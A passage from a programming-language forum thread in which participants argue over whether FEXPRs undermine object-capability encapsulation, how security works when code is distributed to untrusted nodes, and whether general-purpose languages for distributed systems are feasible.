That is, even if you had the authority to start a silly debugger, the attacker's code must not be able to steal it from you. If the language allows arbitrary code (including the attacker's code) to poke around the environment and unevaluated operands, it might be able to discover the authority to run the silly debugger. Encapsulation is the property that says the attacker cannot do this.
Object capability discipline doesn't really add anything to the power of encapsulation. Rather, it mostly involves streamlining the APIs to prevent developers from accidentally granting more authorities than intended.
Security protects against genuinely motivated, technologically sophisticated attackers who have root access to the machine. Language level encapsulation cannot do that; it is hygiene, not security.
Security is fundamentally about liveness and predictability. Fine-grained control over distribution of authority, and support for information assurance, are two ways to manage predictability. "Root access" is an artifact of a few popular operating systems that has nothing at all to do with the nature of security.
Language level encapsulation can offer security even if the language implementation is running with root authority... or even if the language happens to be the operating system. The distinction between languages and operating systems is terribly vague even before you consider languages with proper security and concurrency models.
the only thing that provides security is NOT running code on a widely distributed network where the ownership / control of any machine (including routers, hubs, and switches) is uncertain
Sure. That will certainly protect 'the attacker' (distributor of code), albeit only up to the moment that the attacker becomes the attacked. But, as I noted above, the cost of hoarding computations onto a 'trusted' host - in terms of disruption tolerance, resilience and redundancy, latencies, bandwidth efficiencies, utilization and load-balancing - can be dire.
There are many benefits to be had by distributing as much code as possible. And, for most large services or program, you'll find that the vast majority of their code can be acceptably distributed to untrusted nodes, and most of what is left can be run on only slightly trusted nodes (i.e. you might not trust hosts that carry a 'not evil' certificate from Google, but that might be good enough for a fair portion of whatever program or service you are offering - enough to enhance scalability).
Incorrect. Encapsulation when used effectively, as in an object capability discipline, protects the host against external attackers. Usefully, it does so without hindering composition, expressiveness, or performance.
I do not think that we are talking about the same threat model. I was responding to your statement about running on a "widely distributed" network. On a widely distributed network, the attacker is NOT "external." He or she is the owner of, and in physical control of, one or more of the machines your application is running on. He can start high-ambient-authority processes from the command line, and is not restricted to your runtime. Now if you are claiming that the attacker is strictly an external or remote attacker, that seems to me to be backing off from your claim about providing meaningful security in a widely distributed application..
Wot? The attackers? What the bloody H... are you talking about?? That would be relevant in a remote attack on a hosted application, which we had not, up to now, been talking about. Yes, hygiene can help provide security on a hosted application. But you said you needed encapsulation for a widely distributed application, and it cannot provide that.
Widely distributed applications are subject to attempts by people with root access on the local machine to subvert the local node of the application. If your application is hosted rather than widely distributed then functional security can be built on hygiene plus the basic rule of "don't run anything you don't want hacked on a machine you don't own."
On a widely distributed network, the attacker is NOT "external." He or she is the owner of, and in physical control of, one or more of the machines your application is running on.
I ask that you ponder: In context of wide code distribution, what is an 'application'? To whom does it 'belong'? What, precisely, does it mean for a node already authorized to run the code to 'attack it'?
Consider modern support for continuous upgrades, and ask yourself: who really owns the applications, plugins, libraries, and operating system that you use on a regular basis?
It is true you cannot just distribute code with wild abandon. One of the fundamental rules - for information assurance - is that you do not distribute security-sensitive routines or data to nodes that are not authorized to host them. This does very little to hinder a significant degree of wide open-systems distribution because:
you said you needed encapsulation for a widely distributed application
And this is true. Your application code is potentially dangerous and expensive to hosts. Thus, unless you are depending upon the remote hosts to be foolish or (for some reason) desperate to run your code locally, there must be assurance that your code is 'mostly harmless'.
Disciplined encapsulation greatly supports this assurance (though it leaves untouched the issue of resource management). The object capability discipline, even within trusted code, improves confidence for the interactions with untrusted code, minimizes risks that developers will accidentally violate Principle of Least Authority when communicating with your code. This encapsulation being enforced by the (virtual) machine prevents your untrusted code from obtaining such authorities except through a grant.
It also helps that your distributed application code encapsulates its own authorities... i.e. that it comes pre-endowed with interesting and useful authorities. That is, developers can simply treat your code as a persistent service. Distributing low-level capabilities to 'libraries', so that they may build interesting, higher-level capabilities, is a vulnerable stage in a program's life-cycle because it requires trusting a lot of code to properly distribute the low-level capabilities. One avoids this stage for automatically distributed code. By recognizing code-distribution as a feature of the language, and protecting it under the security-umbrella of the distributed language - rather than leaving it to ad-hoc external systems - I suspect the 'widely distributed' model offers greater security and flexibility than 'centralized' (vat-based) capability languages such as E. Good support for code-distribution also helps solve the upgrade vs. persistence problems (by reducing it to a problem of runtime upgrade and live programming).
If your application is 'hosted' rather than 'widely distributed' [...]
Those terms are not contradictory.
One may easily have a widely distributed program in the sense that different components are hosted by different nodes. Indeed, this is ideal, because many resources - say, sensors in a sensor network - are widely distributed. You'll want to run code dealing with each sensor on an authorized node geographically close to that sensor, if not directly on the sensor.
Orthogonally, individual components of that distributed program may be replicated across nodes. This may be done for performance, such that common subroutines don't involve a call across the network. This replication may also be for resilience, such that if a node for one of the central components goes down the program can quickly regenerate and keeps running.
I do not think that we are talking about the same threat model.
Indeed. My impression is that you have the threat model backwards. E.g. for a distributed Poker app, the issue isn't protecting the application from the clients, but rather protecting the clients from the application and from one another.
You can't solve impossible problems by asserting that you can invent a programming language in which they are automagically solved.
... the solution is to change to a different set of relevant problems.
I don't aim to solve any impossible problems, Thomas Lord.
[Though it seems Ray is intent upon finding an obscure definition of 'widely distributed' that turns it into an impossible problem. Wide distribution, IMO, does not mean that security-sensitive components get randomly distributed to untrusted nodes.]
"I don't aim to solve any impossible problems..."
Exactly.
I'm afraid you'll need to clarify your meaning.
Well, you asked, so I'll be frank.
I just think that all of the progress in massively distributed, decentralized, distributed-code, massive-data-set systems for your lifetime and mine and probably for the next few generations as well - is going to be ad hoc. I think that you make robust systems out of stuff like "grep" or a good ftp client - not out of some idealized hyper-abstract model that reflects your half-baked notions of the possible potential of distributed computing.
If you were talking up some tiny languages for very domain constrained problems in distributed computing that could be interesting but instead you are posing questions like:
"I ask you to ponder: In context of wide code distribution, what is an 'application'? To whom does it 'belong'? What, precisely, does it mean for a node already authorized to run the code to 'attack it'?"
Aside from being utterly non-responsive to Ray's comment, your response, taken on its own merits, at best suggests an urgent insistence to delve deeply into needless and quite possibly incoherent abstractions..
That would certainly be a bad combination :-)
But abstract is not bad by itself. An abstract model is only bad if it does not contain the relevant concrete scenarios. I think these concrete scenarios have emerged over the last 10 or 15 years (partially by people using "grep"). It is time for a good abstract model and a language that fits this model.
And of course is the language runtime part of the host. So if you want a secure host that can run distributed code, you need a secure language that has encapsulation. This is not a sufficient condition for security, but a necessary one.
I do understand that over the last 10 or 15 years there have emerged a lot of oft-repeated patterns in the architecture of distributed, decentralized apps. What I don't buy is that there is a "missing" abstraction that unifies all of these patterns and expresses them as novelties in programming language design.
You write "So if you want a secure host that can run distributed code, you need a secure language that has encapsulation."
Well, prima facie, we have some examples of such hosts. One is your browser. Another is commodity computing platforms such as EC2. Evidently, such languages as Javascript and C-over-unix provide as much encapsulation as is necessary. What is the big over-arching abstraction that usefully unifies these patterns (or at least, why should I believe that such an abstraction can be found)?
There are, I'm sure, good abstractions yet to be invented for many of the aspects of the problems that arise when building these systems. If you said to me "I'm going to try to design a programming language that is a kind of DSL for distributed, decentralized social networking software..." then I would believe you and think that you have a real chance at success. I wouldn't expect the language you make to be especially useful for writing, say, a distributed and decentralized file system or a distributed and decentralized render farm. I'd believe that there are some elements in common between those various domains - for example, a dist./decent. social network and a dist./decent. file system might share in common an abstraction for user identity and authentication - but I don't believe in a set of such commonalities that adds up to a general purpose programming language.
An analogy might be made to more conventional utility systems like telephony, electricity, water, and sewage. These distributed and decentralized capability resources share some common abstractions - for example in the management of "where is it safe to drop a backhoe and dig" questions. Yet, there is no over-arching design language that encompasses all of those infrastructure pieces. If you're designing a telephony sub-net your practice is very different from if you're designing a sewage system subnet. There are some abstract concepts in common between the two. There are some common and unified practices (like "where is safe to dig"). But there is no over-arching design language that covers both cases. Those "real-world" distributed/decentralized systems are best reasoned about in application-specific ways. You've got one design language for telephony, another for sewage. It's ad-hoc, in that sense.
Just as I don't expect a common implementation specification language between telephony and sewage system designers, I will be very, very surprised to see a common language that subsumes all of distributed and decentralized computing.
More realistic than an ultimate programming language for distributed and decentralized computing would be a programming language for analyzing networks and reasoning about them. Indeed, we have such analytic languages with things like queuing theory and cybernetics and I'm sure there's plenty of room for expansion and improvement
What I deeply object to is the rhetorical move of saying that a feature of a general purpose programming language, like FEXPRs, is somehow bad because in the theories of the speaker it interferes with the project of making a programming language that, so to speak, is good for implementing both telephone and sewage systems. One shouldn't make that rhetorical move until one has made a convincing case that such a programming language can even possibly exist.
What I don't buy is that there is a "missing" abstraction that unifies all of these patterns and expresses them as novelties in programming language design.
Which abstraction are you talking about, and who is trying to sell it to you? I suspect you're reading something that wasn't written.
For my own language, I haven't used even one abstraction that hasn't been studied since the 70s. The design challenge isn't the abstractions themselves so much as choosing a proper subset, breaking them down, and fitting them together in a coherent manner. I'd rather avoid the Perl phenomenon of providing "less a language and more a flock of features flying in loose formation".
Evidently, such languages as Javascript and C-over-unix provide as much encapsulation as is necessary.
Perhaps you should share this evidence, because it seems to me that most evidence is to the contrary. Why would Javascript need hacked in, painful restrictions like the 'same origin policy' if it was sufficient? Why would people be pursuing Caja?
How does C-over-unix let users place some code at or near a web-cam for bandwidth efficiency without leaping through bureaucratic hoops to obtain a user-account and shell access? Why would an administrator trust that they won't use more of that authority than I necessary to just get information off the camera and transmit it?
There are, I'm sure, good abstractions yet to be invented for many of the aspects of the problems that arise when building these systems.
Absolutely. And those abstractions that are not given first-class support from the language will become services and libraries.
If we later discover that there are significant optimization or security properties to be had by granting such abstractions first-class support, they can either be added to future generations of distributed languages and protocols.
But most abstractions cannot offer significant enough runtime benefits to receive a first-class treatment. Those will forever be relegated to libraries and syntactic transforms or other forms of meta-programming.
More realistic than an ultimate programming language for distributed and decentralized computing
I have no illusions of offering an "ultimate" (final, perfect) language. That's hard enough to do even if the goal was to create a perfect Academic toy language without concern for practicalities (plenty of competition between Coq and Maude and the rest :-).
My goal is a general purpose programming language. That 'purpose' happens to include concerns that have grown over the last couple decades. A general purpose language doesn't need to be optimal for all use-cases. It only needs to be excellent for the common use-cases, practical for most other use-cases, and merely 'capable' of the rest.
You assert that I might better formulate such a pursuit as a DSL.
I'll match and raise you one: Scheme should no longer be considered a General Purpose Programming Language, because it no longer meets General Purpose needs. Back when Lisp was invented, all the relevant resources were centralized to the host, concurrency was a non-issue, and "node failure" was so far beyond reckoning that there was little practical reason to acknowledge it. When Scheme was later built in 1975, the situation was much the same - albeit now with mainframes and remote terminals.
Well, guess what: the hardware grew up. Lisp and Scheme... did not. Today, Clojure is close to a General Purpose Programming Language. Scheme is a DSL for volatile academic toys.
DSL vs. GPPL has no clear distinction other than suitability for a purpose.
What I deeply object to is the rhetorical move of saying that a feature of a general purpose programming language, like FEXPRs, is somehow bad [...]
I'm not immune to human nature, either. I could easily tell that your objection was more emotional than based in reasoning. You built more than enough straw-man arguments to burn - about 'missing abstractions' and 'ultimate languages'. You even resorted to one 'WTF', and one long sequence of exclamation points and question marks. I could easily feel the heat. You must have some emotional investment in the subject.
Anyhow, I do not believe there exists such things as 'general purpose language features'. General purpose languages should not be flocks of 'general-purpose features' flying in loose formation.
But, even if I did believe in 'general purpose language features', I don't have much reason to believe that FEXPRs are one of them. Why would I, if they seem to interfere with reasoning and practical concerns of the modern and future eras? Even without considering distribution, they introduce their share of potential problems for local modularity.
Ah, well. Even if Ehud hasn't made an [ADMIN] comment yet, I feel it's time to either take this conversation elsewhere, or terminate it. Feel free to have the last word here..
David's point is that "application" does not have a fairly clear meaning in the distributed scenario with mutually suspicious agents, which is why it's so hard to figure out proper encapsulation boundaries. Any refinement of the ill-defined concept is a welcome data point in this open territory.
And my point is that so far we've solved such problems in many domain-specific cases in ad hoc ways. It's not at all clear that there can possibly exist a good definition for "application" in that broad sense - it could be that ad hoc and domain-specific is the only way. It seems likely, at least to me, that it is all ad-hoc at that scale now and effectively forever. Thus I object to the rhetorical move of saying that a proposed feature of a general purpose programming language is uninteresting or bad because it fails to solve the quite possibly insoluble problem of well-defining an "application" in that vaguely conceived sense. My perception is that this brave new definition of "application" is being sought for dubious reasons, like the quest for the gold of El Dorado.
Thus I object to the rhetorical move of saying that a proposed feature of a general purpose programming language is uninteresting or bad because it fails to solve the quite possibly insoluble problem of well-defining an "application" in that vaguely conceived sense.
That's not at all what this thread is about. David legitimately objected to fexpr's because of the perceived violation of encapsulation properties that local and distributed capability systems rely on for reasoning about and enforcing security properties, a point which has yet to be addressed. The segue into "application" was merely a rhetorical device employed to convey the various security and locality properties that come into play in a distributed program.
As for your other point, re: distributed solutions will always be ad-hoc, I would take that as merely a sign of our undeveloped knowledge of a domain, not intrinsic to the domain itself. I'm not sure what evidence you have that generic tools and techniques for designing and building distributed programs is a hopeless endeavour, but it sounds very premature from what I know of the domain.
David legitimately objected to fexpr's because of the perceived violation of encapsulation properties that local and distributed capability systems rely on for reasoning about and enforcing security properties, a point which has yet to be addressed.
I think its been addressed repeatedly..
It seems to me that David went further than you suggest in positing the potential existence of a general purpose PL that would (through complex machinations like extensible grammars) have such capabilities built in and that, because of the desirability of such a language, FEXPRs were a bad idea. On the one hand I doubt the potential existence of such a PL (of much use) and on the other hand I note that if you do have a design for such a PL, by gosh, you can implement it atop FEXPRs in ways we've discussed.
I doubt the potential existence of such a PL and that is a reiteration of my belief that distributed solutions will always (my liftime, yours, our kids) be ad hoc. Ray has done a handsome job of pointing out why: as soon as you have a massively distributed and decentralized architecture like that you have created incentive for nodes to cheat and cheating isn't all that hard. Every DRM system can be hacked to circumvent the DRM infrastructure and the more you insist on relying upon that infrastructure, the higher the incentive to work around it becomes. Things are permanently ad hoc in the sense that if we shift attention from the unsolvable generalized problem to specific cases, we get a garden of solvable problems although no one solution solves them all. The most secure security policy in a distributed and decentralized computing world is simply reticence to offer service at all (as in keeping some machines off the net entirely).. The two might have some common patterns and the analog of "re-usable code" but in their totality, they are apples and oranges..
If there was such an argument made, I haven't seen it. Instead, I saw an argument that encapsulation was fundamentally infeasible, and so why not abandon it for the benefits of fexprs? Perhaps I misread, in which case I look forward to reading your fexpr proposal and analyzing its local reasoning properties.
From an informal description, fexprs sound problematic, but I certainly acknowledge that you may find some region of this space that makes local reasoning easy while retaining extensibility. I myself will place my bets on staging.
Ray has done a handsome job of pointing out why: as soon as you have a massively distributed and decentralized architecture like that you have created incentive for nodes to cheat and cheating isn't all that hard.
Cheating is currently easy because predominant security models allow one to express unenforceable security properties. Capabilities (largely) do not have this deficiency, though they are still vulnerable to DoS of course. This is why a platform that can support capability reasoning is essential..
By this argument, all programming is ad-hoc, even local programs, in which case "ad-hocness" is not a useful distinction. That any specific program utilizes domain-specific data types and algorithms is not important, what's important is that we can derive these domain-specific types and algorithms by the composition and application of more general abstractions.
I don't see how you can truly believe that we will not find such general distributed abstractions from which we can derive domain-specific distributed programs.
Finally, any specific security policy must be expressed in a language that specifies legal information flow. Capabilities are one such language, and so at a certain level of abstraction, the measures used to secure telephony and sewage infrastructure are indeed the same.
positing the potential existence of a general purpose PL that would (through complex machinations like extensible grammars) have such [referring to FEXPR or FCE] capabilities built in [...] I note that if you do have a design for such a PL, by gosh, you can implement it atop FEXPRs in ways we've discussed.
You misread me.
I never posited that FEXPR or FCE like capabilities would be achievable through such machinations.
Rather, I posited that any secure or modular use of FEXPRs and FCEs will inherently subset what can be achieved, more safely, through second-class metaprogramming. Macros and extensible attribute grammars are offered as examples for second-class metaprogramming.
Logically, those positions are very different.
my belief [is] that distributed solutions will always (my liftime, yours, our kids) be ad hoc
That would be a self-fulfilling belief if you convinced everyone else. Maybe you should stop trying. ;-)
Every DRM system [...]
DRM is, at essence, a technology solution for that last mile: distribution and control for code and data on devices that happen to be physically controlled by sheep. I'm not especially enamored of DRM, but I recognize its utility for a purposes, and I would be willing to buy it for some purposes (such as competitive gameplay). Sometimes sheep have more fun.
I'll admit, my current language design is quite promising (in a scary sort of way) for developing and integrating DRM systems.
I developed my distribution models with concern for unmanned systems falling in enemy territories, and with concern for untrusted nodes attempting to obtain sensitive information or control critical service components. In short: project-layer code and capabilities may be annotated with the authorizations required to 'host' and 'hear' about them, respectively. (That is to say, there are capabilities that you aren't even authorized to hear about.) A simple contagion model with voluntary weakening spreads these authorization requirements out to the objects whose code references the objects whose code references the sensitive objects, and so on. Inductively I can always guarantee that, at the very least, the creator of every 'new' object is among the set of legal hosts. This design is subject to some rather simple static analyses, in addition to dynamic checking for linking and code-distribution. The goal is two-fold: to prevent accidental delegation of sensitive information or authorities to lower-trust resources (thus, weakening is voluntary but explicit), and to support automated clean-up whenever a node is compromised. Clean-up is simple enough: hosts are free to audit the authorities of other hosts to control a capability ... or even to know about one. There is no penalty for failing these audits, except a denial of the specific service with a security exception. (Blame and Responsibility are not issues I handle in a primitive way, though libraries may utilize Horton patterns.)
Information can easily be 'tagged' as secure via carrying it in a record with any limited-distribution capability (which might not have any other purpose). Again, the goal is to prevent only accidental leaks.
What I support doesn't provide full DRM. That is, nothing restricts programming of the hardware. But DRM may easily benefit from what I provide. It is very easy to ensure that only DRM nodes can prove specific authorities, and having the language handle these issues could avoid a lot of hassle.
Every DRM system can be hacked to circumvent the DRM infrastructure
If the DRM infrastructure were rigid, like a cement wall, I suppose that would be a problem. There are ways to reduce the value of any particular violation, thus reducing the incentives, without reducing the cost in achieving the violation.
But I'm just playing devil's advocate. DRM is not my goal.
The most secure security policy in a distributed and decentralized computing world is simply reticence to offer service at all (as in keeping some machines off the net entirely).
People who actually study computer security call that a "denial of service attack" and categorize it as a "security violation".
Security requires liveness and accessibility. A resource or service is not 'secure' if you are authorized to use it but cannot do so. This is also a problem with sandboxes.
Things are permanently ad hoc in the sense that if we shift attention from the unsolvable generalized problem to specific cases, we get a garden of solvable problems although no one solution solves them all. [...] Appropriate controls vary wildly depending on the nature of the service being offered.
One might attack other GPPLs on the same basis: appropriate controls for a particular algorithm vary wildly based on whatever utility you are implementing; "solutions will always (my liftime, yours, our kids) be ad hoc!" Clearly, Scheme is not dreamed of in such a philosophy.
While I would love to produce an ideal solution for all problems, I would be entirely satisfied with producing a very-good solution for many problems. Many others could be produced via meta-programming and frameworks. This is the tradition of all GPPLs.
Is this more humble goal possible? Sure. E, Erlang, Mozart, and Alice provide a lot of evidence suggesting so. Even Python and Java, with their frameworks and clouds forming 'higher level' distributed systems languages, provide evidence.
commonly used term with a fairly clear meaning
I asked Ray to 'ponder' it because I wasn't interested in derailing the whole thread on this subject..
My own understanding of 'application' is 'code that specifies an interactive scene-graph (that can be rendered into a GUI)'. That's it. And my reasoning on this subject is basically: I've never heard anyone call a non-GUI service an 'application'.
But, while I do not consider 'application' to be a clear concept, I also do not consider it an especially useful one. In the most relevant ways, a specific GUI or application can be treated as just another service - or, most precisely, a service-adaptor that translates data resources and service capabilities into something efficient for display and human interaction. I don't think in terms of 'applications'. I think in terms of services, sensors, and actuators.
Despite your thoughts on the 'merits' of my comments, I offer no "urgent insistence" to define any "needless and quite possibly incoherent abstractions". But I believe that you, and Ray, could profit from ruminating over and reconsidering your own assumptions on the nature of development.
Chances are, your own assumptions on the subject make code-distribution itself seem a much less K.I.S.S. topic than it could be.
Distributed code is distributed code. I downloaded Firefox at some point. So did millions of other people. Thus, Firefox code is massively distributed. This method of code-distribution is almost stupidly insecure: at the moment, Firefox has access to my entire machine every time I run it. If I really wanted to, I could get the same effect by directly giving Mozilla.org an open pipe to talk directly to my Operating System, and there'd be no great difference in security. There would, of course, be a great difference in performance and disruption tolerance. The basic reasons for code distribution do not change. Whether I download the code myself, obtain it through sneaker-net, or support automated distribution, the goals are performance (latency, bandwidth efficiency, global utilization via distribution of load), resilience (through redundancy), disruption tolerance, and (potentially) irrevocable licensing..
Why not stick to plain English? "SETI at home" is a (not for profit) business model implemented using certain server applications and certain client applications. "World of Warcraft" and "Google Maps" are similar except for having or being part of for-profit business models. Firefox is a browser application and its auto-updates are a way to upgrade installed versions of that application. It's one thing to wonder if there is some over-arching concept that somehow comprises all of those things but to call that concept an "application" and demand a programming language for such applications seems rather unjustified.
Your wheels look to me like they are spinning in the mud, there. Hey, you left out goals of efficient power consumption, effective brand identity, and fund-raising for future R&D. I mean, if we're just throwing a bunch of unrelated desirable things in a big basket and saying "let's make a programming language for this" why not go all out? In any event, returning to your original point, you've made no convincing argument against FEXPRs there.
In plain English:
demand a programming language for such applications seems rather unjustified
How could demand for programming languages to support for applications of the modern era possibly be unjustified?
Maybe you wish to believe it unjustified, so that you can continue to justify a language product that is clearly deficient for these purposes?
You left out goals of efficient power consumption
Actually, I've given that goal more than a little consideration. Any GPPL for the modern era really ought to support mobile devices if it is to deserve the 'GPPL' descriptive..
If you were promoting another alleged 'GPPL feature' with inherently poor power-performance properties, I may have brought up the issue.
In any event, returning to your original point, you've made no convincing argument against FEXPRs there.
I made a reasonable point. John Shutt recognized this point, and he did a great job of addressing half of it. He acknowledges and leaves the other half to 'future insight'.
That's really quite admirable. I am not convinced a solution is possible without either changing FEXPRs or adding other features to the language (FEXPR-typing?). But I aspire, and quite often fail, to address arguments with that level of decorum.
Anyhow, whether an argument is convincing depends as much on the audience as upon the argument. If you wish to dismiss my point for whatever reason - good or bad - I will do nothing to stop you. That said, I would rather not stand by while my valid point is characterized as the ravings of a sewage-and-telephony crank...
Bah. Sorry that you felt I was labeling you a crank. I'm not. I think I do have a good point here so if you'll indulge me let's please rewind and go through this.
I don't agree that we are in violent agreement about the word "application" although I see it would be a bit of a pointless rat-hole to spend too much on sorting out our differences. I'll just say that: A browser is an application you can download and install on your machine. Is the world wide web an application? Sometimes people say things like "Email is the killer-app for the Internet," and other times they say things like "Sendmail Inc. sells a variety of applications for processing email." In the first case ("killer-app for the Internet") I think they are speaking metaphorically, in the latter case I think they are speaking literally. The world wide web and email are certainly applications of the Internet infrastructure in the sense of "use of" but neither is an "application" in the sense usually applied to software. Rather, the WWW and email are both distributed and decentralized systems that, at a technical level, are defined by various protocols and guidelines as to the expected behavior of various server and client programs. It doesn't advance any analysis to declare, as you did, that there is some special problem in recognizing the boundaries or ownership of apps like SETI at home, World of Warcraft, Google Maps, or Firefox. Sure, it's true that each does, in some sense, distributed computing. Several of them involve automagic software updates, and so forth. There are a bunch of interesting technical problems in and around the network service infrastructure that each comprises. There are, I think, various interesting PLT takes on those problems. I just don't think you make any progress on any of those technical challenges by proposing a reconsideration of what an "application" comprises. Indeed, none of the challenges of such systems as you listed are especially new.
Briefly, because you haven't given any convincing (to me, at least) characterization of what distinguishes "applications of the modern era" and why one should believe there is a deficit of support for them among existing languages. For a few decades now we've gotten by pretty well by defining distributed and decentralized systems in terms of protocols, not programs. This seems to me to be deeply related to the decentralized aspect of things. There are concepts that cross-cut across protocol design (e.g., URLs, user identities, etc.) but these generally have not yielded a need for programming languages other than domain specific languages for very narrow purposes.
Now, as I understand you, you're in part concerned about an issue that cuts across multiple protocols: the exchange of programs and the execution of programs received from possibly untrustworthy sources. I would agree with you if you are saying that in the "modern era" there is a lot more such exchanges and execution going on than in the past. But "more" does not make for "different". In the past, different instances of this problem have called for wildly different solutions so I don't see any chance of an overarching concept that will fix that.
And I understand you to be concerned with composition of services and at moving around boundaries of trust (as with "capability"-based systems) but, here again, the decades of history suggest that the concept of such composition breaks down, as a practical matter, into a possibly infinite set of special case solutions.
[re: why not throw in a requirement for low power consumption].
OK, on that point I am guilty of conflating two criticisms and being horribly confusing as a result. Let me tease them apart.
One issue is that the referent of "secure program extension" is not defined in a way that makes a convincing case for the need for a unified treatment of its problematics. To put it schematically: you could waltz into many different and diverse software engineering team meetings and say "Hey, we have a problem about how to safely run untrusted third party code in our app!" and everyone around the room will nod in agreement. But bring together any 3 of those groups in a single room and you are likely to get at least 4 opinions about what "safely run untrusted third party code" means. That's why I talked about "hyper-abstract" and "half-baked" notions: you have there (that untrusted code issue) an abstraction that works socially because it is vague but not so much technically because the use of that application in various real contexts has so many divergent meanings.
A second issue is simply that you don't get a good domain against which to define a PL just by making an arbitrary heap of attributes you want programs in that PL to display. "Low power consumption" was meant as a reductio kind of argument, as in, hey, why not also make a programming language that makes free ponies - that'd be cool, too. So, that was the (impolite, sorry) snark of "why not throw in low power consumption". It wasn't meant as a personal attack or to call you a crank - just to economically convey the concept of that kind of design error.
Finally, FEXPRs don't cause any kind of encapsulation problem. Mr. Shutt showed you how to force operand evaluation in Kernel, I showed you how to force operand evaluation in the face of Scheme+FEXPRs -- there's no problem there. And, for that matter, if you like: you can box up untrusted third party code in such a way that you have fine-grained control over which unevaluated operands are exposed to it. To say, as you seem to be, that FEXPRs introduce some special kind of security problem is, at best, to wildly exaggerate. On the contrary, FEXPRs give a nice operational and abstract semantic model on which to build those enforced disciplines you care for in particular domains.
That said, I would rather not stand by while my valid point is characterized as the ravings of a sewage-and-telephony crank...
From the start of my responding to you my intent (although observably not my effect) was to offer a constructive criticism, not to label you as a crank. Capability-based-security on distributed and decentralized systems comprising mutually untrusted nodes - and languages to orchestrate computations across these -- rocks my world, man. You seem to have a great agenda, in that regard. I think that such languages will be a fine thing to have in the toolbox. A lot of the foundation for such has been laid already in the protocol definition space. In this vague area I think we are, as you put it, in "violent agreement".
There are just two ways in which I think, at least as you've expressed your work and as imperfectly as I understand you, you have some problems. I'll boil it down to two that are worth mentioning: One is that I think (and have tried to say repeatedly) that you would benefit from a tighter agenda and suffer from a lack of a little more domain specificity - you start lumping together SETI at home, Google Maps, and Firefox and I can't help but roll my eyes at the buzzword soup. I'm sorry I'm rude that way, I'm not trying to be hurtful - I just think you'd get further with a tactic of a narrower initial focus. I understand I'm perceived as rude for saying such things but it makes no sense to me: criticism of that kind can be right or wrong and I might be either but in neither case is it rude (in my book). The second problem I think you have is applying the analytic framework you're working on to FEXPRs in a really forced way - the Schemish FEXPRs we're talking about (as both I and Mr. Shutt have pointed out) don't challenge the possibility of encapsulation (as you're discussing it) at all. I would add that they don't challenge the ability to define environments in which the style of encapsulation you describe is the default - the path of least resistance. There seems to be some kind of conflation of levels that you think FEXPRs are problematic for your domain. If you don't want them for untrusted code (a proposition I'm not sure I agree with at all, but if that's what you want) then use FEXPRs to program their own elimination, in that environment. That's the kind of thing for which they are there.
I just don't think you make any progress on any of those technical challenges by proposing a reconsideration of what an "application" comprises.
"It's obvious" is the death of creativity. Until you relinquish that which is obvious, you cannot make any progress... technological or otherwise.
A reconsideration of what 'application' comprises does not achieve any progress on its own. However, it can remove a significant barrier against progress and understanding within someone who happens to believe 'application' to be a fairly clear term.
none of the challenges of such systems as you listed are especially new
That's good. I would really hate to develop a GPPL to solve "especially new" problems.
If I were asked, I'd suggest that "especially new" problems are properly the province of libraries and frameworks and - if I were feeling really daring - maybe even a DSL!
Funny, how differently you and I think.
I would agree with you if you are saying that in the "modern era" there is a lot more such exchanges and execution going on than in the past. But "more" does not make for "different".
The fact that "more" does not make for "different" indicates to me something suitable for abstraction. What does it mean to you?
In the past, different instances of this problem have called for wildly different solutions so I don't see any chance of an overarching concept that will fix that.
The relevant question isn't whether the solutions were wildly different "in the past". There's always an exploration phase when exploring new ideas, after all.
Nowadays, we have all sorts of frameworks that do the same darn things with regards to communications - publish-subscribe patterns, message passing, promise pipelining, transactions. And E, Mozart, Alice, Erlang, plus a variety of frameworks also provide studies on the subject of code-distribution. There, too, you will find tons of commonalities.
decades of history suggest that the concept of such composition breaks down, as a practical matter, into a possibly infinite set of special case solutions
Indeed. Composition, by nature, is combinatorial. Decades of history also suggest that the proper way to handle composition of special cases. This is through composition of generic abstractions which may individually be specialized to their purpose.
This is the basis for functional programming, for procedural programming, for object oriented programming, for module systems... it's even the basis for fexprs. I am baffled why you expect this well proven and systematic solution to suddenly fail at handling special cases in distributed programs.
you don't get a good domain against which to define a PL just by making an arbitrary heap of attributes you want programs in that PL to display
True. But you must think me a little on the daft side if you believe I'm just "making an arbitrary heap of attributes". The 'domain' I target with my PL is survivable multi-tiered command and control of distributed unmanned systems and sensor networks. Issues include data fusion, autonomy, coordination between systems, wireless bandwidth concerns, link losses, communications silence and jamming, power consumption, delegation of control, operations safety, operations security, loss of a system in enemy lands, and much more.
Unmanned systems today do not make it easy to get code onto the system or securely keep it updated. And the missions they can run autonomously are extremely limited.
"Low power consumption" was meant as a reductio kind of argument, as in, hey, why not also make a programming language that makes free ponies - that'd be cool, too
Well, to be honest, I did understand this.
Finally, FEXPRs don't cause any kind of encapsulation problem. Mr. Shutt showed you how to force operand evaluation in Kernel
I suspect you and I have a different idea, then, of what constitutes a 'problem'. I consider it a serious problem to write 'apply' before every use of an apparently-a-function-variable that might have been obtained from another module to be a problem. I especially consider it a problem to ask third-party developers to maintain this discipline. Security should be the default.
Though, in that vein, if he reversed it, so that 'apply' was the default, and you have to write something like ($ f arg1 arg2 argN) every place a FEXPR 'f' might legitimately be used, at least he'd have encapsulation as the default - and it would be easier to statically analyze code for potential vulnerabilities.
($ f arg1 arg2 argN)
To say, as you seem to be, that FEXPRs introduce some special kind of security problem is, at best, to wildly exaggerate.
FEXPRs violate encapsulation, by default. That isn't a special kind of security problem. But it is a security problem.
FEXPRs give a nice operational and abstract semantic model on which to build those enforced disciplines you care for in particular domains.
I've never had much luck using Macros to 'enforce' anything without them becoming a bit draconian. In part, this is because code-walkers have a terrible tendency to interfere with one another. I.e. how can you tell legitimate uses of FEXPRs from bad ones, when enforcing the discipline? Would you restrict the degree to which developers within the discipline may develop and use FEXPRs? (Doing that would certainly justify my claims!)
I know that staging and macros are safe in a capability language. It doesn't take me much analysis to validate that judgement. I'm not keen on giving up on simple reasoning, unless you can show me how to buy it back, with interest.
I think you'd get further with a tactic of a narrower initial focus
I'll take this under advisement. That said, I have no reason to suspect pushing my particular interests directly will lead any more quickly to elucidation.
I understand I'm perceived as rude for saying such things
Not at all. It's the '[...] application?!?? WTF [...]' that makes me perceive rudeness. ;-)
the Schemish FEXPRs we're talking about (as both I and Mr. Shutt have pointed out) don't challenge the possibility of encapsulation (as you're discussing it) at all
There's a world of difference between challenging the 'possibility' of safety, vs. challenging safety. There's a world of difference between challenging the 'possibility' of performance, and challenging performance. There's a world of difference between challenging the 'possibility' of security, vs. challenging security. And I'm sure you see where I'm going with 'encapsulation'...
